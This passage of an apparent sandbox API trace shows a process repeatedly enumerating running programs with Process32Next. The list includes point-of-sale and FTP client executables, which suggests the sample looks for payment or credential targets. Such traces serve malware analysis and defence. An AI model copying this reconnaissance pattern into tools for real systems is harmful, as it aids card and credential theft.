[0252.282] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0252.315] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0252.319] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0252.325] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0252.329] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0252.332] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0252.336] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0252.339] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0252.343] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0252.347] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0252.387] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0252.393] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0252.398] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0252.401] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0252.405] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0252.409] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0252.412] CloseHandle (hObject=0x2198) returned 1 [0252.412] Sleep (dwMilliseconds=0x64) [0252.414] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2198 [0252.444] Process32First (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0252.448] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0252.464] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0252.467] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0252.473] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0252.477] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0252.481] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0252.484] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0252.487] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0252.490] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.494] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.497] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0252.501] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.504] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.509] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.512] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.516] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.518] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.520] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.523] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0252.525] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0252.527] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0252.530] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.532] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0252.535] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0252.538] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0252.540] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0252.566] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0252.571] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0252.573] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0252.576] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.578] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0252.581] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0252.583] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0252.585] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.591] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0252.593] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0252.595] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0252.598] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0252.600] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0252.603] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0252.605] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0252.607] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0252.610] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0252.612] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0252.615] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0252.617] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0252.619] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0252.622] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0252.625] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0252.627] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0252.629] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0252.632] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0252.634] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0252.636] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0252.639] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0252.641] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0252.644] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0252.647] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0252.650] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0252.653] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0252.656] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0252.659] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0252.662] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0252.665] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0252.668] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0252.673] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0252.677] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: 